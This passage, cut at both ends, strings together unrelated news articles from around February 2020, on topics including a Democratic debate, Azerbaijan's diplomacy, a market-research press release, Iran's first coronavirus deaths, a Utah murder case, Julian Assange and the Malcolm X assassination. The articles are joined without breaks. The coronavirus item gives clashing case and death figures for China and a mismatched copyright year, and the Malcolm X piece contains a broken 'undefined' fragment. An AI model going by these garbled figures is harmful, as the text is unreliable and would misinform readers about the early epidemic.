, who did surprisingly well in Iowa and New Hampshire, gave another articulate performance which disguised his limited political experience running South Bend, Indiana. But he is entering more hostile territory; his support among black and Hispanic voters is much lower. What of Joe Biden? The former vice-president is hanging on, hoping that South Carolina will deliver a win to reinvigorate his campaign. He seemed more energised than past performances. Senator Amy Klobuchar squabbled with Mayor Pete, who mocked her for not knowing the name of the president of Mexico in a TV interview. Her brief resurgence is likely to prove temporary. Some of these candidates will be forced out of the race after Super Tuesday on 3 March, when around a third of delegates are up for grabs, including big states like California and Texas. But you can be sure that Mr Bloomberg has the resources to carry on until the end. His campaign manager Kevin Sheekey claimed: "Everyone came to destroy Mike tonight. It didn't happen. Everyone wanted him to lose his cool. He didn't do it. He was just warming up tonight." But he will need sharper performances on live television if he wants to have a showdown with that other billionaire; the one who is already in the White House. BAKU, Azerbaijan, Feb. 21 By Huseyn Safarov - Trend: Azerbaijan pursues quite balanced foreign policy, in particular in Europe, Russian political analyst Georgy Bovt told Trend. Bovt was commenting on the state visit by Azerbaijani President Ilham Aliyev to Italy. Bakus foreign policy is aimed at strengthening Azerbaijans position in Europe, the political analyst noted. This can bring certain dividends to Azerbaijan not only in the energy market, but also as part of cooperation with the EU in a number of areas, Bovt said. In addition, the EU confidence in Azerbaijan has increased significantly in recent years, the analyst added. Compared to the end of the 90s, when Azerbaijan was just starting to enter big European energy market, today it looks like an increasingly profitable partner that inspires great confidence, Bovt noted. If in the 90s there were quite a lot of skeptical forecasts and assessments about the energy projects that Azerbaijan implements, now we can say with confidence that almost all of them are successful and bring great benefits to Azerbaijan, as well as contribute to the diversification of the European energy market. The expert added that other countries of the region also benefit from energy projects being implemented by Azerbaijan. If we look what a leap in economic development Azerbaijan has recently made, it becomes obvious that this has a positive effect on the development of the entire region as well, Bovt said. For example, the flow of Azerbaijani tourists to Georgia suggests that Georgia also receives indirect dividends from Azerbaijans economic success. As for Armenia, as long as the Armenia-Azerbaijan Nagorno-Karabakh conflict remains unresolved, Armenia will remain outside all the projects being implemented by Azerbaijan. On Feb. 19, President Ilham Aliyev paid a state visit to Italy, and on Feb. 20, the head of state held a number of official meetings in Rome. On the same day, after the meeting between Azerbaijani President Ilham Aliyev and President of the Italian Council of Ministers Giuseppe Conte in an expanded format, a ceremony of Azerbaijani-Italian documents exchange was held. Azerbaijan and Italy signed 17 documents aimed at expanding bilateral cooperation in various fields. In particular, Azerbaijani President Ilham Aliyev and President of the Italian Council of Ministers Giuseppe Conte signed the Joint Declaration on Strengthening Multidimensional Strategic Partnership between Azerbaijan and Italy. Technavio has been monitoring the ground protection mats market and it is poised to grow by USD 298.91 million during 2019-2023, progressing at a CAGR of 4% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200221005026/en/ Technavio has announced its latest market research report titled Global Ground Protection Mats Market 2019-2023 (Graphic: Business Wire) Increasing use of ground protection mats in construction industry has been instrumental in driving the growth of the market. Request a free sample report Ground Protection Mats Market 2019-2023: Segmentation Ground Protection Mats Market is segmented as below: End-User Industrial Commercial Geographic segmentation APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31282 Ground Protection Mats Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our ground protection mats market report covers the following areas: Ground Protection Mats Market Size Ground Protection Mats Market Trends Ground Protection Mats Market Industry Analysis This study identifies high need for ergonomic ground protection mats as one of the prime reasons driving the ground protection mats market growth during the next few years. Ground Protection Mats Market 2019-2023: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the ground protection mats market, including some of the vendors such as Checkers Industrial Products LLC, LODAX, Newpark Resources Inc., Quality Mat Co. and Signature Systems Group LLC. Backed with competitive intelligence and benchmarking, our research reports on the ground protection mats market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Ground Protection Mats Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist ground protection mats market growth during the next five years Estimation of the ground protection mats market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the ground protection mats market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of ground protection mats market vendors About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005026/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Alireza Vahabzadeh, adviser to the health minister, stated that both of the deaths were confirmed carriers living in Qom, 140 kilometres from Tehran. Apart from that information, nothing else is known as of this time about the first Coronavirus cases in Iran. The first confirmation of these two coronavirus cases was made on Wednesday, based on a report by ISNA news agency. A little time after the report was released, the two-elderly patient died. After the detection of these two elderly cases, the health ministry has probable cases of the virus. Spokesman Kianush Jahanpour commented that both of the patients were old and immunity systems were unable to fight off the virus, causing their deaths in a Qom hospital. The nationality of the patients were confirmed by the Iranian officials, Young Journalists Club (YJC) reported. The odd thing about this case, as noted by IRNA, is that the victims have neither been abroad or went outside Qom when they died because of the infection. Origin of the cause of the infection is puzzling and is a mystery for the Iranian officials since most cases had travelled or were exposed to carriers. As preventive to stave off further infection of a beginning outbreak, all schools and universities are closed on Thursday as a precaution. Also read: Labs Take Frantic Efforts to Detect Hidden Coronavirus Infections Soonest Iranian officials have announced that no cases of the coronavirus have been detected after the two positive cases in Qom. There were also no positive carriers outside of Qom. In other places in the Middle East, the United Arab Emirates has reported nine positive coronavirus infections. All of the infected patients in the UAE are all Chinese, but no fatalities as of this writing. Another case in Egypt, a foreigner not a local resident, has COVID-19 but is already in the recovery stage as tests show that the virus has dissipated. The World Health Organization is monitoring this case, and the recovered patient will be quarantined for two weeks and kept under observation before being sent home. WHO recently identified 75,197 cases of COVID-19 and 2009 deaths courtesy of the contagion. About 918 of the COVID-19 cases and three fatalities were inside the lock downed China. Coronavirus infections are still coming in with new cases, but no local infections that are virulent are in Iran. One exception if the Diamond Princess pleasure cruise, that was quarantined. The COVID-19 is the name given by the World Health Organization to this disease that was detected last December. The coronavirus has infected 75,000 abroad as it escapes via transmission from carriers in China, with 2000 already dead from it with no cure in sight yet. Most of the dead are in China where the virus has caused massive infections and locked down cities. The detection of the coronavirus in Iran is positive, but whether it will spread is not known. All incoming flights are now under watch to keep to virus from its population. Related article: Coronavirus Effects: How it Harms Human Body Organs @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Ayoola Ajayi, 31, who is accused of killing Utah college student Mackenzie Lueck has put his home, where he allegedly burned her body, on the market for $349,000 A man who is accused of killing Utah college student Mackenzie Lueck has put his home, where he allegedly burned her body, up for sale. Ayoola Ajayi, 31, is currently behind bars after being previously charged with murder and kidnapping in the June 2019 death of Lueck. He has not yet entered pleas to those counts. Police charged Ajayi with her murder after some of her remains and belongings were found burned and buried in his backyard. On Wednesday it was reported that Ajayi's 1,862 square foot home has been put on the market for $349,000. According to Fox 13, Ajayi's neighbor, Scot Barraclough, said the house has remained empty over the last few months. Scroll down for video Ajayi, 31, is currently behind bars after being previously charged with murder and kidnapping in the June 2019 death of Mackenzie Lueck (pictured). He has not yet entered pleas to those counts Police charged Ajayi with her murder after some of her remains and belongings were found burned and buried in his backyard (his home is pictured). On Wednesday it was reported that Ajayi's 1,862 square foot home has been put on the market for $349,000 Barraclough said Ajayis friend is managing the property for the jailed man. The listing describes the home as an 'investment opportunity'. It also says it's the 'cutest house on the block'. Lueck disappeared shortly after she returned from a trip to her California hometown for the funeral of her grandmother and took a Lyft from the airport to a park. She exchanged text messages with Ajayi and met him at the park, apparently willingly, but her phone was turned off a minute after the final text and wasn't turned back on, prosecutors have said. Police have said Lueck was last seen getting into Ajayi's car on June 17. She was reported missing three days later. Lueck's body was recovered from Logan Canyon, 85 miles north of Salt Lake City in August. Her body was found with her arms bound behind her, according to police. She died from blunt force trauma to the head. Police charged Ajayi with her murder after some of her remains and belongings were found buried in his backyard. Police have not revealed what those items are. Police have said Lueck was last seen getting into Ajayi's (pictured in December 2019) car on June 17. She was reported missing three days later Lueck's body was recovered from Logan Canyon, 85 miles north of Salt Lake City in August 2019. Her body was found with her arms bound behind her, according to police Police and prosecutors have not said how Ajayi and Lueck were connected, but court documents show that investigators searched social media and dating sites while trying to find a link between them. Ajayi was charged with aggravated murder, obstruction of justice, aggravated kidnapping and abuse or desecration of a human body in connection with Luecks death. Investigators searched social media and dating sites while trying to find a link between Lueck and Ajayi, including one called Seeking Arrangement, which bills itself as a way for wealthy 'sugar daddies' to meet women known as 'sugar babies'. The documents don't detail what evidence might have been found. Prosecutors have declined to discuss the findings. Ajayi is an information technology worker who had stints with high-profile companies and was briefly in the Army National Guard. Investigators have said they are investigating a report from a construction contractor who said Ajayi approached him in April about building a secretive and soundproof room in his home. Lueck has been remembered as a bubbly, nurturing person who loved spending time with her family and looked forward to a career in medicine or health care. A California native, Lueck was a member of the Alpha Chi Omega sorority and a part-time senior at the University of Utah studying kinesiology and pre-nursing. She was expected to graduate in spring 2020. In early August, Ajayi (during his arrest in June 2019) was also charged with 19 counts of sexual exploitation of a minor after investigators discovered child pornography on his computer In early August, Ajayi was also charged with 19 counts of sexual exploitation of a minor after investigators discovered child pornography on his computer. Ajayi had images of children as young as four years old, prosecutors said in charging documents. He has not yet entered pleas to those charges. They had taken the computer as part of the investigation into the death of Mackenzie Lueck. The Salt Lake Legal Defenders Association, which has been assigned to represent Ajayi, said it does not plan to make any comments on the charges. Ajayi is an information technology worker who had stints with high-profile companies and was briefly in the Army National Guard. Ajayi is also accused of assaulting a woman - who has not been named - he met on Latter-day Saints dating app, Mutual, in March 2018 at his house. In December, Judge Vernice Trease determined that there is enough evidence for Ajayi to also go on trial on charges of alleged kidnapping and sexual abuse of a different woman in 2018. Ajayi (pictured) is an information technology worker who had stints with high-profile companies and was briefly in the Army National Guard The unnamed woman who was allegedly sexually assaulted reported the crime to police after Ajayi was charged with the murder of Lueck, said Salt Lake County District Attorney Sim Gill. Trease declared that based on testimony and arguments from attorneys, there was enough evidence to move forward to trial in the case involving the March 2018 incident, the Salt Lake Tribune reported. Ajayi pleaded not guilty to aggravated kidnapping and three charges of forcible sexual abuse. His trial on these charges was set for February 2020. The unnamed woman involved in the alleged March 2018 incident claimed that the sexual abuse occurred after dinner she and Ajayi were watching television, according to court documents. He is said to have invited the woman to his home to cook her dinner on March 10, 2018. It is alleged that he started 'intensely' kissing her and trying to touch her 'inappropriately and forcefully' as they sat on the couch, according to documents seen by The Salt Lake Tribune. Ajayi allegedly pinned her down and bit her at least three times, 'causing her significant pain, and left bruising and bite marks,' as she tried to get away from him. Gill said the woman came to law enforcement with the allegations after Luecks death. He claimed that the time lapse was 'understandable because many victims of sexual trauma dont always disclose.' He declined to say if police have heard from other alleged victims, but added that the investigation remains ongoing. Gill said: 'All I can say is that, for us, this continues to be an open and active investigation. Im not necessarily talking specifically about this case [filed Tuesday], but in general. 'If there is anybody out there whos a victim of a crime or intimidation, they should recognize there are resources available to them and to reach out to their local law enforcement to communicate those concerns. Theyre not alone.' The point, really, of getting these students to apply when theyre in seventh and eighth grade we call it an aspiration preparation scholarship is to ensuring they know at an early age that if they do the things that are in the scholars pledge they know that if they work hard and do those things, the state will make sure they can afford to go to college, said Charlee Beasor, the Communications Director at the Indiana Commission for Higher Education. GREENWICH The Greenwich YMCA will close its Early Learning Center at St. Rochs in August and end its Hamilton Avenue afterschool program in June. The closure is part of the YMCAs effort to double-down on its programs at its facility at 50 E. Putnam Ave. The YMCA will focus its personnel and finances on offering top-notch aquatics and wellness programs, as well as meaningful programs that span all ages, Patrice Francois, the YMCAs interim CEO, said in a statement. This is not an insignificant change, but we believe deeply that all families will ultimately be better served by the Y doing what it does best; being a hub for our community, Grancois said. Officials considered moving some sections of the school program to the main Y building before making the final decision. The costs outweighed the benefits, however, because moving any program would create significant operational issues, exacerbate the traffic gridlock on Mason Street and contribute to downtown Greenwich congestion at peak rush hours, the Y said. These decisions were made after critically assessing what we offer as an organization and in what ways we offer value to our membership and the community at large, Francois said. Increased lease and maintenance costs also contributed to the decision. Francois said the Ys Early Learning Center faced significant challenges. Other childcare and after-school programs in Greenwich are better built with education in mind and equipped with sturdy resources in physical spacce, faculty, staff and financial support. We felt it critical to examine the changing landscape of childcare and after-school programs in the Greenwich area, Francois said. Greenwich is fortunate to have many options now for early learning and childcare. The Y will work with the ELC families and staff to secure placements for children with providers in the Greenwich area, including Family Centers. One new option will be a branch of the Bright Horizons Centers, which will be opening in October, joining Family Centers in supporting the Chickahominy neighborhood. Bright Horizons partners with businesses and corporations to offer child-care services for employees. The Bright Horizons Childrens Center is set to open in 13,000 square feet of former office space in a building at 75 Holly Hill Lane, and will serve about 120 children. The plan was recently reviewed and given the go-ahead by the police and fire departments. The Y will also work with the affected staff to help them find jobs with similar organizations, and connecting them with Family Centers for help writing resumes and preparing for interviews. Since its opening, the strength of the Y has lived and breathed in the landmark facility at 50 E. Putnam Ave., Francois said. As times changed over the years, so did the Y, but its core competencies of aquatics and wellness have remained steadfast, she said. At this point in the Ys history, it is important to recommit to these core competencies and to ensure they are not only maintained, but elevated. In order to accomplish this, we have taken considerable time to assess what we offer as an organization, where we thrive, and in what ways we add value to our membership and the community at large. jo.kroeker@hearstmediact.com Prisoners were allegedly offered 50,000 "to do in" a man being held on remand for dissident-republican terror offences, the High Court has been told. A report of the potential threat against 26-year-old Luke O'Neill was disclosed at his legal challenge to being kept within the integrated regime at HMP Maghaberry. O'Neill, of Silverwood Green in Lurgan, Co Armagh, has since been convicted of the attempted possession of explosives. Charges were brought against him following the discovery of an armour-piercing mortar device in the town in 2016. O'Neill launched judicial review proceedings after he was initially housed on remand at Quoile House, part of the jail's general population. He claimed the decision breached his human rights and put his safety at risk. O'Neill's lawyers argued that he should instead be kept at Roe House - a separated landing for republican inmates. Ruling on the challenge, Mr Justice Colton detailed an alleged threat reported to prison authorities in October 2016. A Security Information Report (SIR) into the incident disclosed: "A prisoner reported that a sum of money, from an unidentified source, had been offered to him and other prisoners 'to do in' the applicant. "The sum of money referred to in the report was 50,000." It went on: "This information emanated from a source viewed as 'untested'. The prisoner would not provide further details." Police and prison chiefs carried out checks into the information, with the source of the alleged threat said to be located in Quoile House. The PSNI determined there was no requirement to conduct a threat management process at that time. O'Neill's circumstances then changed significantly, with a release on bail secured in March 2018. In June 2019 he received a six-year sentence and was transferred to Roe House. No reported incidents or concerns have emerged since. Counsel for the Prison Service sought to have the case ended on the grounds it had been rendered academic. Agreeing to dismiss the challenge, Mr Justice Colton pointed out that the case related to a specific three-month period in 2016. He said: "I have therefore come to the conclusion that because of the change in circumstances no useful purpose can be served by the continuation of these proceedings." O'Neill's lawyer confirmed plans to appeal the ruling. Gavin Booth of Phoenix Law said: "We believe there was a breach of Article 2 of the European Convention on Human Rights in respect of a threat to our client's life - especially after learning of the SIR referring to the alleged offer of 50,000." Fox News anchor Martha MacCallum honors the 75th anniversary of the Battle of Iwo Jima with a one-hour documentary, "Unknown Valor: A Story of Family, Courage & Sacrifice," set to air on the Fox News Channel this Sunday, Feb. 23, at 10 p.m. MacCallum has also authored a book (also called "Unknown Valor") with Ronald J. Drez that will be published Feb. 25 and available in hardcover, as an ebook and in an audiobook narrated by Martha herself. We've got a clip in advance of the program's Sunday debut. We all know the big story of what Adm. Chester Nimitz called the "uncommon valor" of the Marines who fought on Iwo Jima, yet there are still thousands of individual stories that remain to be told, hence MacCallum's title of "Unknown Valor." Nearly 7,000 Marines died on Iwo Jima, and 22,000 were wounded. That's a lot of sacrifice, and the battle touched the lives of families in every single corner of the United States. The journalist has a personal connection to these historical events. Her uncle Harry Gray fought and was killed in the battle, and she shares his experience alongside the stories of others who served. Using personal letters and recollections, she follows these men through their battles in the Pacific as they fought toward the bloody capture of the Japanese territory. As we never hesitate to note, time is running out on our ability to hear these stories firsthand. Everyone who survived that battle is well into his nineties by now, so MacCallum is to be commended for taking on the work that all the news channels really should have done in earnest back in the '90s. Ahead of extradition hearing which begins on Monday in London, whistleblowers legal team appeal to French authorities. Paris, France Julian Assanges European legal team has said it intends to seek political asylum in France for the whistleblower, days before his US extradition trial is set to begin in London. We will ask to meet with [French President Emmanuel Macron] in the coming days, if not in the coming hours, Assanges French lawyer Eric Dupond-Moretti told journalists during a press conference. France is the homeland of human rights, he added. Assange spent three years living in France, from 2007 to 2010, and his youngest child still lives in the country with his mother. The French government previously denied a 2015 asylum request from Assange, after he published an open letter in Le Monde asking then President Francois Hollande for refugee status. At the time, the government said Assanges situation did not present an immediate danger. The WikiLeaks founder was arrested in London last April, after being evicted from the Ecuadorian Embassy where he had spent more than seven years holed up to avoid extradition to Sweden over rape allegations. Assanges lawyers said they now feared for the 48-year-year-old Australian nationals life, citing health concerns and alleged human rights violations in prison. In my whole career as a lawyer, I have never seen such a systematic violation of victims rights, said Baltasar Garzon, the Spanish head of Assanges European legal team. Assange is fighting his extradition to the US over 18 criminal charges 17 of which fall under the countrys Espionage Act. He is accused of helping former US army intelligence analyst Chelsea Manning publish hundreds of classified State Department documents. If extradited, he could face up to 175 years in jail in the US. Those who support Assange insist the charges have nothing to do with spying and pose a threat to journalists and freedom of the press worldwide. [Assange] has made an incredible contribution to journalism, and we must defend him, Christophe Deloire, the secretary-general of Reporters Without Borders, told Al Jazeera. The Paris-based NGO has launched a petition against Assanges extradition, stating the charges set a dangerous precedent to journalists who publish classified information of public interest. Assanges lawyers also reiterated claims from a member of his UK defence team that he was offered a pardon from a member of the Trump administration in exchange for publicly denying any Russian involvement in the hacking of Democratic emails during the 2016 elections. The White House has denied the claim, but Garzon said the team would provide documentary proof at the extradition hearing that begins on February 24. Assanges father John Shipton, who was also present at Thursdays press conference, said he continued to fear for his sons life. Julian now being 10 years in arbitrary detention, its incomprehensible, Shipton said. I cant for the life of me understand why hes still in prison. He has committed no crime. Friday marks 55 years since Malcolm X, one of the 20th centurys most important black figures, was assassinated at age 39 while speaking at the Audubon Ballroom in Harlem, New York, on Feb. 21, 1965. In the more than half a century since, what happened that day has remained the subject of debate. Three members of the Nation of Islam (NOI) Talmadge Hayer or Thomas Hagan (a.k.a Mujahid Abdul Halim), Norman Butler (a.k.a Muhammad Abdul Aziz) and Thomas Johnson (a.k.a Khalil Islam) were convicted of his murder in 1966. The NOI is an African American religious and political organization formed in 1930 with the goal of improving the economic and spiritual conditions of the African American community in the United States. Malcolm X joined the group in 1952. Portrait of human rights activist Malcolm X reading stories about himself in a pile of newspapers, circa 1963. | Three Lions/Hulton Archive - Getty Images Law enforcement at the time framed Malcolms assassination as the result of an ongoing dispute between him and the NOI; Malcolm had left the group in 1964 on bad terms. In the years since, popular narratives have largely followed suit. (The NOI declined to comment on the record for this piece.) But Butler (Aziz) and Johnson (Islam) have consistently professed their innocence, and scholars who have studied the case have raised doubts about the killings circumstances. On Feb. 7, following the recent premiere of a Netflix documentary series that reexamines the case, Manhattan District Attorney Cy Vance announced that his office will review the case. Who was Malcolm X? Malcolm X was born in Omaha, but moved around the country during his early years. His father died when Malcolm was 6 years old and, while the death was ruled to be a streetcar accident, its believed by historians that he was killed by members of the Ku Klux Klan. The brief, and only, meeting between Malcolm X and Martin Luther King, in the halls of the U.S. Capitol, observing a Senate filibuster on the Voting Rights Act. | Bettmann Archive As an adult, Malcolm became a minister and activist for the African American community, known for his strong beliefs in black self-determination and empowerment. By the late 1950s, he was among the most influential figures associated with the civil rights movement. Story continues While in prison in the late 1940s for charges of larceny and breaking and entering, Malcolm converted to Islam and, when he was released in 1952, joined the NOI. He became one of the groups most important speakers and leaders. Malcolms positions on black freedom were seen as controversial in mainstream America, as he focused on black people creating their own power, structure and wealth, and dismissed the then-dominant ideas of integration and racial acceptance. He also believed strongly in the idea of self-defense as an alternative to nonviolent resistance. He did not preach violence, he preached self-defense, says historian Zaheer Ali, the lead researcher for Manning Marables 2011 biography Malcolm X: A Life of Reinvention. America has never been nonviolent with black people so instead of accusing Malcolm of being violent, we need to ask America about its violence. Ali says that Malcolm stood out from other black leaders at the time in large part because of his complicated background. This was someone who had come out of prison [and] emerged as a major leader of a growing organization at a time when most civil rights organizations did not even have a prison program, much less [would] hire a convict to be their spokesperson, Ali tells TIME. Malcolm represents this belief and hope in black potential, wherever that potential may be. Ali also says that Malcolm saw the plight of black people in a much larger frame. He always imagined black freedom transcending the boundaries of the United States, Ali explains. He always saw himself as a citizen of the world, and connected to black people around the world. What were the circumstances leading up to his assassination? In 1964, Malcolm X left the NOI. Several incidents had led him to question his relationship with the organization. Malcolm had become uncomfortable with NOI leader Elijah Muhammads extramarital affairs, according to Malcolm X: A Life of Reinvention, and strongly disagreed with the NOIs decision not to respond to acts of violence against Muslims at the hands of the Los Angeles police department. In what has widely been interpreted as the last straw with regards to his relationship with the NOI, Malcolm was also silenced by the organizations leadership after he spoke out regarding the assassination of President John F. Kennedy in November 1963. Muhammad had laid down a rule that the NOI not comment on Kennedys death; flouting this, Malcolm described the presidents assassination as the chickens coming home to roost. The fallout from his leaving the NOI was serious. Many members viewed him as a traitor of the organization, and he received multiple death threats from within the group. Malcolm went on to start two new organizations, Muslim Mosque, Inc (MMI) and the Organization of Afro-American Unity (OAAU). As was the case for many civil rights organizations and activists, Malcolm was under near-constant surveillance by the federal and New York state governments. The FBI first opened a file on Malcolm in March 1953, and closely monitored him over the next decade using surveillance and informants in the NOI, OAAU and MMI. On June 6, 1964, FBI Director J. Edgar Hoover sent a telegram, which later became public, to the FBI office in New York City that said do something about Malcolm X. The New York Police Department (NYPD) had, at the time, a special unit called the Bureau of Special Services (BOSS) that had infiltrated many New York political organizations, including Malcolms. Malcolm X: A Life of Reinvention describes the NOI, MMI and OAAU as virtual rats nests of conflicting loyalties due to the number of informants positioned among their members ranks. Law enforcement agencies saw him as a threat, Ali says. They worked to undermine his efforts, to create and exacerbate conflict and really hastened the circumstances that would lead to his death. Malcolm X outside his house, which had been firebombed the night before, on Feb. 15, 1965. | Bettmann Archive Just a week before his assassination, Malcolm Xs home in the New York City borough of Queens was firebombed while he, his wife Betty Shabazz and their four children were asleep inside. No one was ever charged related to the incident. Though no one was injured, it became obvious to Malcolm and those around him that he was in serious danger. Get your history fix in one place: sign up for the weekly TIME History newsletter What happened on the day of the assassination? Prior to speaking at the Audubon Ballroom on Feb. 21, 1965, Malcolm had asked his security personnel not to perform security checks at the entrance. These searches of attendees were a longstanding practice enacted by the NOI at their rallies and one that Malcolm had initially continued after he left the organization. By January 1965, however, he had put a stop to them, though he retained a personal security detail. [Malcolm] wanted to break away from the image the searches represented, Peter Bailey, a former member of OAAU and associate of Malcolms is quoted saying in Malcolm X: A Life of Reinvention. There were about 400 people in attendance for Malcolms speech, but no prevalent law enforcement presence was visible inside the Audubon Ballroom. This was unusual since police were typically highly visible at his rallies. When Malcolm took the stage to begin his address, an apparent dispute broke out among the audience. As Malcolm and his security team tried to calm the commotion, an individual ran onto the stage, approached Malcolm and shot him. Two other people then ran up to the stage and fired as well. Malcolm was shot a total of 21 times. What happened with the investigation into Malcolm Xs assassination? Talmadge Hayer was shot in the leg by a bodyguard and apprehended by members of the crowd as he tried to escape before police arrived. The other two suspects, Butler and Johnson, were arrested a week later after witnesses allegedly identified them as being the other gunmen. Butler and Johnson were prominent members of the Harlem NOI. The NYPDs narrative was that the Nation of Islam killed Malcolm, Ali says. They thought this was just some small-time crime between two rivals. However, during the ensuing trial, both Johnson and Butler maintained their innocence. Hayer admitted to being a part of the plan to assassinate Malcolm, but testified that Johnson and Butler were not involved, according to a New York Times article from March 1, 1966. At the time of the trial, Hayer did not name any other culprits. There was no evidence linking Butler or Johnson to the crime. Butler even had an alibi for the time of the murder: He was at home resting after injuring his leg; a doctor who had treated him took the stand during the trial. Nonetheless, all three men were found guilty in 1966 and sentenced to life in prison. Liz Mazucci, the former Chief Researcher on the Malcolm X Project, which is part of the Columbia University Center for Contemporary Black History, says law enforcement did not investigate the case thoroughly. The scene of the crime was processed so quickly, for example, that a dance party happened at the Audubon Ballroom just hours after the shooting. It seemed convenient to pin the murder charge on [Butler and Johnson], Mazucci tells TIME, even though they didnt quite fit the story shared with [police] through eyewitness reports and FBI informants. Talmadge Hayer in the hospital after the killing of Malcolm X on Feb. 21, 1965, in New York City. Hayer was wounded in the leg after the shooting. | NY Daily News - Getty Images In 1977 and 1978, Hayer submitted two affidavits in which he continued to assert that Butler and Johnson were not involved in the assassination. Hayer did, however, name four men all members of the NOIs Newark chapter who he alleged had begun planning Malcolm Xs murder in May 1964. He said that he was approached by two of the four men who told him that Malcolm X should be killed. They later met with the other two men and discussed how they would commit the crime. I had a bit of love and admiration for the Honorable Elijah Muhammed, Hayer later said according to Malcolm X: A Life of Reinvention, and I just felt that like this is something that I have to stand up for. Five days after the assassination, Muhammad denied any involvement with the assassination, but said that Malcolm X got just what he preached. Law enforcement never pursued investigations into these men and the case was never reopened. Butler was paroled in 1985. Johnson was released in 1989 and died in 2009. Hayer was released in 2010. Why do some scholars want to reopen the case? Scholars and historians have raised questions about Malcolms death for years. Some have alleged, furthermore, that law enforcement was well aware that Malcolms life was in danger but that, because the government had such an interest in undermining his work, they did not intervene to help him. Others have suggested that the governments refusal to investigate the other suspects named by Hayer is evidence of a more sinister role, as Ali puts it, in the assassination. The Nation of Islam was no friend of the U.S. government, and the U.S. government was no friend of the Nation of Islam, Ali says. So the question has to be put on the table: why would the U.S. government not pursue all viable leads into who was actually responsible for Malcolms assassination?' Garrett Felber, an African American history professor at the University of Mississippi, agrees that the governments potential role in the assassination is worth investigating. The narrative that [the assassination] was an internal gang feud traffics is this racist black-on-black violence trope that gets played out over and over, and the state gets to be off the hook, he says. The NYPDs BOSS investigation file on Malcolm X officially ends in 1964. Felber argues, however, that its inconceivable that they stopped following that year, as Malcolm was still a very active figure. Mazucci adds that the NYPD must release all their records in order for the case to be properly reviewed. The FBI has released some files on the case, many of which are included in the 1995 Clayborne Carson book Malcolm X: The FBI File. A lot of the details, however, remain redacted. For example: undefined Many have advocated for Malcolms case to be reviewed under the FBIs 2006 Cold Case Initiative, and the ensuing 2008 Emmett Till Unsolved Civil Rights Crime Act, which allowed for violent crimes suspected to have been a result of racial animus to be reopened and investigated. Malcolms case was not considered, however, because it wasnt viewed as a crime of racial injustice. Ali says that is a mistake. We should always hold the assassination of Malcolm X in our minds of examples of state complicity, duplicity or active acts against the black community, he says. Malcolm X speaks to a crowd on June 29, 1963. | Bettmann Archive In February, however, Manhattan District Attorney Cy Vance announced that his office will review the case, working with the Innocence Project, a nonprofit that works to exonerate innocent people. [Vance] has determined that the district attorneys office will begin a preliminary review of the matter, the DAs office said in a statement sent to TIME, which will inform the office regarding what further investigative steps may be undertaken. This decision came after the release of the Netflix documentary Who Killed Malcolm X, which premiered on Feb. 7. Butler who is now being represented by the Innocence Project is featured in the documentary. Given the historical importance of this case and the fact that our client is 81 years old, we are especially encouraged that Mr. Vance has assigned two highly respected prosecutors, Peter Casolaro and Charles King, to work on this re-investigation, Barry Scheck, Innocence Project co-founder and special counsel said in a statement. What is Malcolm Xs legacy? Malcolm Xs legacy is all of the social justice movements that sprung up in the wake of his death. Its the Black Panther Party. Its Black Lives Matter, Mazucci tells TIME. Malcolm was an organic intellectual who loved black people profoundly; he sacrificed his life helping them find ways to uplift and defend themselves. He was always a man of faith, Ali adds. He had a deep belief in a power greater than himself that motivated him and allowed his imagination to dream for freedom of black people that was not readily apparent at the time. (Bloomberg) -- Xerox Holdings Corp.s largest shareholder made a suggestion as the printer maker was preparing to go public with its takeover offer for HP Inc. in November: buy us instead. Activist investor Carl Icahn raised the idea of HP acquiring Xerox for $45 a share in a phone call with HP Chief Executive Officer Enrique Lores in November, according to people familiar with the matter. HP executives viewed the proposal as over-valuing Xerox and decided not to pursue it, said the people, who asked to not be identified because the matter isnt public. Icahn, who owns about 11% of Xerox and 4.3% of HP, continues to push publicly for a tie-up. Icahn on Thursday said he recalled the conversation with Lores in November but didnt want sell his Xerox stake. I certainly did not offer my stock in Xerox in that discussion or, for that matter, in any discussion, he said in an interview. Frankly, I am getting tired of anonymous statements that keep popping up alleging that my stock in Xerox is for sale, which couldnt be further from the truth, because I believe so strongly in the synergies that exist in a combination between Xerox and HP and I certainly want to own a piece of those synergies. Icahn said, as a large shareholder in both companies, he was fully supportive of Xeroxs offer for HP and Xeroxs Chief Executive Officer John Visentin, who he said should run the combined company. Peace, War I do believe peace is better than war and therefore I would support a consensual deal if the boards presented an acceptable one to shareholders, he said. The make-up of the board or who is chairman is not nearly as important as who the management team of the company is. In this case, to garner the great synergies that exist, it is of paramount importance that John Visentin and his team are the surviving management of the combined company. He said he wouldnt support a consensual deal if that was not the case. Representatives Xerox and HP didnt immediately respond to a request for comment. Story continues Rights Plan HP on Thursday adopted a shareholder rights plan that would make Xeroxs takeover more difficult to carry out. The move came ahead of a crucial week for the takeover tussle, when HP is preparing to outline a plan for self-improvement in response to Xeroxs $34 billion takeover campaign. HP is preparing to announce that it will take on new debt to release billions of dollars to shareholders by acquiring its own shares and paying out special dividends, the people said. The exact size and timing of the buybacks and dividends arent clear. The move follows criticism from HP that Xeroxs proposal depends on it leveraging the larger companys balance sheet to fund a takeover. Xeroxs $24 a share offer would be funded 